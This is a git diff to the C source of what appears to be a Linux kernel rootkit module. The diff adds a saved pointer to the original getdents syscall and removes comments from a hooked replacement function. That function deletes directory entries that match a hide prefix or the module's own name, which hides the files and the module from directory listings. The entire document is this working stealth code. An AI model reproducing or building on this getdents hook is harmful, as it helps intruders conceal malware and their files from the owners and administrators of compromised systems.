diff --git a/src/637d3n75.c b/src/637d3n75.c index 24afd60..a6a6aee 100644 --- a/src/637d3n75.c +++ b/src/637d3n75.c @@ -23,6 +23,10 @@ *******************************************************************************/ #include "637d3n75.h" +/*** var ******************************************************************** +*******************************************************************************/ + +sys_getdents_ptr sys_getdents_orig; /*******************************************************************************/ @@ -48,22 +52,20 @@ asmlinkage long sys_getdents_new(unsigned int fd, dbuf = (char*)dirent; - // go through the entries, looking for one that has our prefix for (boff = 0; boff < ret;) { ent = (struct linux_dirent*)(dbuf + boff); - // if it has hide prefix or module name anywhere, hide it + if ((strncmp(ent->d_name, HIDE_PREFIX, HIDE_PREFIX_SZ) == 0) || (strstr(ent->d_name, MODULE_NAME) != NULL)) { - // remove this entry by copying everything after it forward - // and adjust the length reported + memcpy(dbuf + boff, dbuf + boff + ent->d_reclen, ret - (boff + ent->d_reclen)); ret -= ent->d_reclen; } else { - // on to the next entry + boff += ent->d_reclen; } }